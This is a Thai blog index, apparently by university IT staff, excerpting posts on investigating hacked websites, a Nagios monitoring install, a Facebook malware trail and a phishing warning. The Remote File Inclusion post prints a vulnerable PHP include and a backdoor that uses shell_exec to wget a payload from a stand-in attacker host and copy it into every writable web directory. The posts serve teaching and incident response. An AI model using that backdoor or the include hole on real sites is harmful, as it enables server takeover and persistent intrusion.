วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1] จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว โปรดพิจารณาตัวอย่างต่อไปนี้ ไฟล์แรก form.html มีรายละเอียดดังนี้ <form method=”get” action=”action.php”>    <select name=”COLOR”>       <option value=”red.inc.php”>red</option>       <option value=”blue.inc.php”>blue</option>    </select>    <input type=”submit”> </form> ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET ไฟล์ที่สอง action.php มีรายละเอียดดังนี้ <?php    if (isset( $_GET[‘COLOR’] ) ){       include( $_GET[‘COLOR’] );    } ?> โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น http://localhost/rfi/action.php?COLOR=red.inc.php แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้ หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้ <?php $output=shell_exec(”     wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php     find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;     find /var/www -name ‘rfi.php’ “); echo nl2br($output); ?> ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้

Read More »

วิธีตรวจสอบเว็บไซต์ที่โดน Hack #8

ได้รับข้อร้องเรียนจาก Google Webmaster Tools ว่า มีเครื่องภายในมหาวิทยาลัย พยายามโจมตี เครือข่ายภายนอก และทาง Firewall ของมหาวิทยาลัย ได้ทำการปิดกั้น การเข้าออก ของเครื่องดังกล่าวแล้ว จึงเข้าตรวจสอบ  ขั้นตอนการตรวจสอบ  1. เบื้องต้น พบว่าเป็น  Ubuntu 8.04.4 LTS 2. ตรวจสอบ ทำให้ทราบว่า Web User ใดที่สั่งให้ httpd ทำงาน ด้วยคำสั่ง  ps aux |grep http  ผลคือ  nobody   31159  0.0  1.5  29056 15588 ?        S    Dec17   0:00 /opt /lampp/bin/httpd -k start -DSSL -DPHP5  จึงทราบว่า Web User ใช้ชื่อว่า ‘noboby’ (จากที่เคยคุ้นชินกับ www-data, apache อะไรทำนองนั้น)  3. ตรวจสอบ Process อย่างละเอียดด้วยคำสั่งต่อไปนี้  ps auxwe  ผลที่ได้ พบว่า มี Process ของ httpd ทั่วๆไป จะแสดงรายละเอียดอย่างนี้ nobody     3460  0.0  1.3  28060 14348 ?        S    Dec01   0:00 /op t/lampp/bin/httpd -k start -DSSL -DPHP5 LESSOPEN=| /usr/bin/lesspipe %s USER=root MAIL=/var/mail/root SHLVL=4 LD_LIBRARY_PATH=/opt/lampp/li b:/opt/lampp/lib:/opt/lampp/lib: HOME=/root LOGNAME=root _=/opt/lampp/ bin/apachectl TERM=vt100 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin :/usr/bin:/sbin:/bin LANG=en_US.UTF-8 LS_COLORS=no=00:fi=00:di=01;34:l n=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01 :su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.t gz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31 :*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.b z=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*. rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:* .jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;3 5:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=0 1;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg =01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*. m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35: *.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;3 5:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;3 6:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=0 0;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36: SHELL=/bin/bash L ESSCLOSE=/usr/bin/lesspipe %s %s PWD=/root แต่ พบว่า มีอยู่รายการหนึ่ง แสดงผลอย่างนี้  nobody    5106  0.0  0.2   4168  2184 ?        S    Nov21   1:17 /usr /local/apache/bin/httpd -DSSL                                                                                    -m a.txt HOME=/nonexistent O LDPWD=/var/spool/cron LOGNAME=nobody PATH=/usr/bin:/bin SHELL=/bin/sh PWD=/home/wwwroot/experience/images/smilies/.laknat/.libs  จึงตรวจสอบ Process PID 5106 ด้วยคำสั่ง  ls -la /proc/5106  ผลที่ได้คือ  ซึ่ง จะเห็นได้ว่า Process นี้ สั่งทำงานจาก /home/wwwroot/experience/images/smilies/.laknat/.libs/httpd แต่ ก่อนหน้านี้ ผู้ดูแลระบบ ได้ สำรองข้อมูลออกไป แล้วลบทิ้งไปก่อนแล้ว จึงขึ้นคำว่า (deleted)  จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 พบว่า Hacker มักจะเขียน crontabs เอาไว้ เรียก Backdoor กลับมาอีก จึงทำการตรวจสอบที่ /var/spool/cron/crontabs ด้วยคำสั่ง  ls -l

Read More »

การติดตั้งโปรแกรมชุด Monitor Server (CentOS 6 + Epel + NRPE + NagiosQL + NagiosGraph)

เนื้อหา 1 วิธีการติดตั้ง CentOS และ EPEL Repository 2 วิธีการตั้งค่า Time Sync 3 วิธีการปิด selinux และ firewall 4 ตัวอย่างวิธีการ เปิด rule โดยไม่ปิด Firewall 5 วิธีการติดตั้ง Nagios 6 ขั้นตอนการเตรียมการติดตั้ง NagiosQL 7 วิธีการติดตั้ง NagiosQL 8 วิธีการติดตั้ง NagiogGraph วิธีการติดตั้ง CentOS และ EPEL Repository OS : CentOS 6.3 Nagios : 3.4.X 1) ติดตั้ง CentOS 6.3 2) ตั้งค่า Network 3) ทำการ Update CentOS ให้ใหม่สุดดังนี้ # yum update 4) ทำการเปิด Repository EPEL โดยโหลดไฟล์จากดังตัวอย่าง ในตัวอย่างเป็น Version 6.8 อาจโหลดไม่ได้ถ้ามี Version ใหม่กว่าออกมา # wget http://mirrors.thzhost.com/epel/6/x86_64/epel-release-6-8.noarch.rpm 5) ทำการติดตั้ง EPEL rpm ดังนี้ # rpm -ivh epel-release-6-8.noarch.rpm 6) ทำการ Update CentOS อีกครั้ง Top วิธีการตั้งค่า Time Sync 1) ติดตั้ง ntpd ดังนี้ # yum install ntp 2) ติดตั้งโปรแกรม vim เพื่อใช้ในการแก้ไขไฟล์ ดังนี้ # yum install vim 3) แก้ไขไฟล์ /etc/ntp.conf ดังนี้ … # Please consider joining the pool (http://www.pool.ntp.org/join.html). #server 0.centos.pool.ntp.org #server 1.centos.pool.ntp.org #server 2.centos.pool.ntp.org server time.psu.ac.th server ntp.ku.ac.th … 4) ทำการ update เวลาให้ตรงก่อน Start Service ntp ดังนี้ # ntpdate time.psu.ac.th 5) ทำการ Start Service ntp และตั้งให้รันตอนเปิดเครื่อง ดังนี้ # service ntpd start # chkconfig ntpd on 6) คำสั่งสำหรับ Check สถานะการ Sync ต้องรอหลัง Start Service สักพัก * หน้าชื่อ Server เป็นตัวบอกว่าเป็น Server ที่กำลัง Sync เวลาด้วยล่าสุด (Service จะเลือกเองว่าจะเลือกใช้ Server ไหน) # ntpq -p Top วิธีการปิด selinux และ firewall 1) ทำการแก้ไขไฟล์ /etc/selinux/config ดังนี้ … # disabled – No SELinux policy is loaded. # SELINUX=enforcing SELINUX=disabled # SELINUXTYPE= can take

Read More »

แกะรอย Facebook Spam

ตามรอย Facebook Spam with Virus คำเตือน : ขั้นตอนต่อไปนี้ ทำเพื่อให้เห็นว่า Facebook แพร่ Virus มาได้อย่างไรเท่านั้น อย่านำไปลองทำที่บ้าน !!! โดยเฉพาะ Windows Users 1. มี Message มา เป็น Link แปลกๆ 2. ระแวงไว้ก่อน ลองใช้ Linux Mint LiveCD ตรวจสอบ โดยเปิด Link ดังกล่าวด้วย  FireFox (พิมพ์ลงไป ไม่ได้เปิดโดยตรงจาก Facebook) พบว่า มันให้ Download ไฟล์ Zip ชื่อ CameraImage-35160.jpg.zip ดังภาพ แต่เดี๋ยวก่อน !!! อย่าใช้คำสั่ง Open เด็ดขาด ให้เปลี่ยนเป็น Save File หากใครเจอเหตุการณ์เช่นนั้น แล้วเผลอไปเปิด คุณก็ติด Virus เข้าแล้ว !!! 3. จะเห็นได้ว่า พวกนี้จะหลอกให้ผู้ใช้ โดยเฉพาะ Windows ที่มักจะ “ซ่อน” นามสกุลของไฟล์ (Hide known extensions) ทำให้ไม่เห็นว่าไฟล์ที่ download มานั้นเป็น .Zip ซึ่งจะสามารถสั่งให้ Execute โปรแกรมหรือ สั่งให้ Virus ทำงานได้ทันที ! ผู้ใช้ที่ไม่รู้หรือไม่สังเกตุ ก็จะเห็นเป็นแค่ CameraImage-35160.jpg ซึ่งน่าจะเป็นภาพ แทนที่จะเป็น CameraImage-35160.jpg.zip ซึ่งเป็นไฟล์อันตราย 4. คราวนี้ มาดูว่า เจ้าไฟล์นี้ มันทำอะไร โดยทดลองเปิดดู (บน Linux Mint ไวรัสไม่สามารถทำอะไรได้) พบว่าใน Zip ไฟล์นี้ มี ไฟล์ชื่อ summertime-fun.jpg.exe อยู่ ซึ่งเป็น Virus นั่นเอง (ดังภาพ) 5. ต่อไป เป็นการส่งไฟล์ไปตรวจสอบ ว่าเป็น Virus ชนิดใด ในที่นี้เลือกใช้ https://www.virustotal.com/en/ เพราะสามารถส่งไฟล์ไปตรวจสอบได้ทาง Web Browser ดังภาพ โดยเลือกไฟล์ summertime-fun.jpg.exe ข้างต้นไปตรวจสอบ ผลที่ได้คือ สรุป เป็น Virus/Malware ชนิดหนึ่ง รายละเอียดยังไม่แน่ชัด แต่ไม่ไปยุ่งกับมันเป็นดีที่สุด 6. อ่านเพิ่มเติมเกี่ยว Virus/Spam ที่มากับ Facebook ได้ที่ http://www.hacker9.com/beware-of-spambook-facebook-spam-and-virus.html   สำหรับใครที่เจอเหตุการณ์นี้ แล้ว 1. ได้รับ Message แล้วคลิก Link … ถ้า Web Browser ของท่านฉลาดสักหน่อย ก็จะถามว่า จะ Save หรือ Open (กรณีใช้ Microsoft Windows เท่านั้น) ถ้าเลือก Save แล้วไม่ได้ไปเปิดไฟล์ –> ก็ยังปลอดภัย แค่ไปลบไฟล์ทิ้ง จบ ถ้าเลือก Open แล้ว ไม่ได้ไป Double Click ไฟล์ที่ซ่อนอยู่ –> ก็ยังปลอดภัย ลบไฟล์ทิ้ง จบ แต่ถ้า เลือก Open แล้ว double click –> ท่านน่าจะติด Virus ไปแล้วครับ ถ้าในเครื่องมี Antivirus แต่ไม่ Update หรือตรวจสอบไม่เจอ ก็เป็นอันว่า มันฝังในเครื่องแล้ว หากติดแล้ว จะเห็นได้ว่า เครื่องจะช้าลง

Read More »

จดหมายหลอกลวง 2013-08-07

วันนี้ 7 สิงหาคม 2556 มีจดหมายหลอกลวงหลุดเข้ามาในระบบ โดยผ่าน ผู้ใช้ของมหาวิทยาลัย 3 คน ซึ่งโดนหลอกเอารหัสผ่านไปก่อนหน้านี้ ซึ่ง ทั้งหมด ถูกระงับการใช้งาน PSU Email ชั่วคราวไปแล้ว โดยจะมีหน้าตาจดหมาย เป็นภาษาไทย แต่อ่านแล้วสับสน เพราะใช้ Google Translate แปล เพื่อหลอกคนไทยโดยเฉพาะ เนื้อหาประมาณนี้   โดยหวังให้ผู้ที่โดนหลอก คลิก Link ใน Email ซึ่งจะได้พบหน้า Website นี้   เมื่อมีผู้หลงเชื่อ กรอกข้อมูลลงไป โดยเฉพาะ Username และ Password ก็ทำให้ผู้ร้ายสามารถเข้ามาใช้ PSU Webmail ของผู้นั้น เป็นฐานในการโจมตีผู้อื่นต่อไป ผลกระทบที่ผู้ถูกหลอกจะได้รับ 1. จะมีจดหมายจากตัวเอง ส่งไปหาคนทั่วโลก นับแสนคน สร้างความเดือนร้อนรำคาญ 2. ผู้ร้าย จะทำการเปลี่ยนข้อมูลส่วนตัวของผู้นั้น เมื่อผู้รับตอบกลับมา จะไม่กลับมายัง Email ของคนนั้นอีกเลย แต่จะส่งไปให้ผู้ร้ายแทน หากมีข้อมูลทางการเงิน ก็อาจทำให้สูญทรัพย์สินได้ 3. หากมีการส่ง Email ขยะออกไปมาก จะทำให้ ทั่วโลกปิดกั้นการรับข้อมูลจากมหาวิทยาลัย และทำให้เกิดความเสียหายกับทั้งมหาวิทยาลัยได้   ทางมหาวิทยาลัย จะไม่มีจดหมายลักษณะดังกล่าวไปแจ้งผู้ใช้ ** เด็ดขาด ** กรุณาอ่านเพิ่มเติม เกี่ยวกับกลลวงต่างๆได้ที่ http://share.psu.ac.th/blog/cyber007/25717 หากท่านใดได้รับ กรุณาลบทิ้งทันที อย่าได้ลองคลิก Link เด็ดขาด เพราะอาจจะมีการฝัง Script บางอย่าง เพื่อฝังไว้ในเครื่องของท่านก็เป็นได้   จึงเรียนมาเพื่อทราบ

Read More »